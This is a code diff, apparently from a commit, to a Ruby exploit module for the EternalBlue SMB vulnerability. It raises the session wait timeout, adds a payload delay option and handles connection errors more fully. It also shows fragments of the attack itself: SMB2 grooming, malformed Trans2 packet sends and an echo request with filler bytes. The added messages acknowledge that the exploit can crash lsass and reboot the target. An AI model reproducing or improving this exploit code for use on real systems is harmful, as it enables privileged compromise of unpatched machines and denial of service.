@@ -59,7 +59,8 @@ def initialize(info = {})
59
59
] ,
60
60
'DefaultOptions' =>
61
61
{
62
- 'EXITFUNC' => 'thread' ,
62
+ 'EXITFUNC' => 'thread' ,
63
+ 'WfsDelay' => 5 ,
63
64
} ,
64
65
'Privileged' => true ,
65
66
'Payload' =>
@@ -120,7 +121,7 @@ def exploit
120
121
# we don't need this sleep, and need to find a way to remove it
121
122
# problem is session_count won't increment until stage is complete :\
122
123
secs = 0
123
- while !session_created? and secs < 5
124
+ while !session_created? and secs < 30
124
125
secs += 1
125
126
sleep 1
126
127
end
@@ -139,16 +140,24 @@ def exploit
139
140
140
141
rescue EternalBlueError => e
141
142
print_error ( "#{ e . message } " )
143
+ return false
144
+ rescue ::RubySMB ::Error ::NegotiationFailure
145
+ print_error ( "SMB Negotiation Failure -- this often occurs when lsass crashes. The target may reboot in 60 seconds." )
146
+ return false
142
147
rescue ::RubySMB ::Error ::UnexpectedStatusCode ,
143
148
::Errno ::ECONNRESET ,
144
149
::Rex ::HostUnreachable ,
145
150
::Rex ::ConnectionTimeout ,
146
- ::Rex ::ConnectionRefused => e
151
+ ::Rex ::ConnectionRefused ,
152
+ ::RubySMB ::Error ::CommunicationError => e
147
153
print_error ( "#{ e . class } : #{ e . message } " )
154
+ report_failure
155
+ return false
148
156
rescue => error
149
157
print_error ( error . class . to_s )
150
158
print_error ( error . message )
151
159
print_error ( error . backtrace . join ( "\n " ) )
160
+ return false
152
161
ensure
153
162
# pass
154
163
end
@@ -286,14 +295,15 @@ def print_core_buffer(os)
286
295
end
287
296
end
288
297
298
+ '' '
289
299
#
290
300
# Increase the default delay by five seconds since some kernel-mode
291
301
# payloads may not run immediately.
292
302
#
293
303
def wfs_delay
294
304
super + 5
295
305
end
296
-
306
+ ' ''
297
307
298
308
def smb2_grooms ( grooms , payload_hdr_pkt )
299
309
grooms . times do |groom_id |
@@ -337,7 +347,11 @@ def smb1_large_buffer(client, tree, sock)
337
347
vprint_status ( "Sending malformed Trans2 packets" )
338
348
sock . put ( trans2_pkt_nulled )
339
349
340
- sock . get_once
350
+ begin
351
+ sock . get_once
352
+ rescue EOFError
353
+ vprint_error ( "No response back from SMB echo request. Continuing anyway..." )
354
+ end
341
355
342
356
client . echo ( count :1 , data : "\x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x00 " )
343
357
end
0 commit comments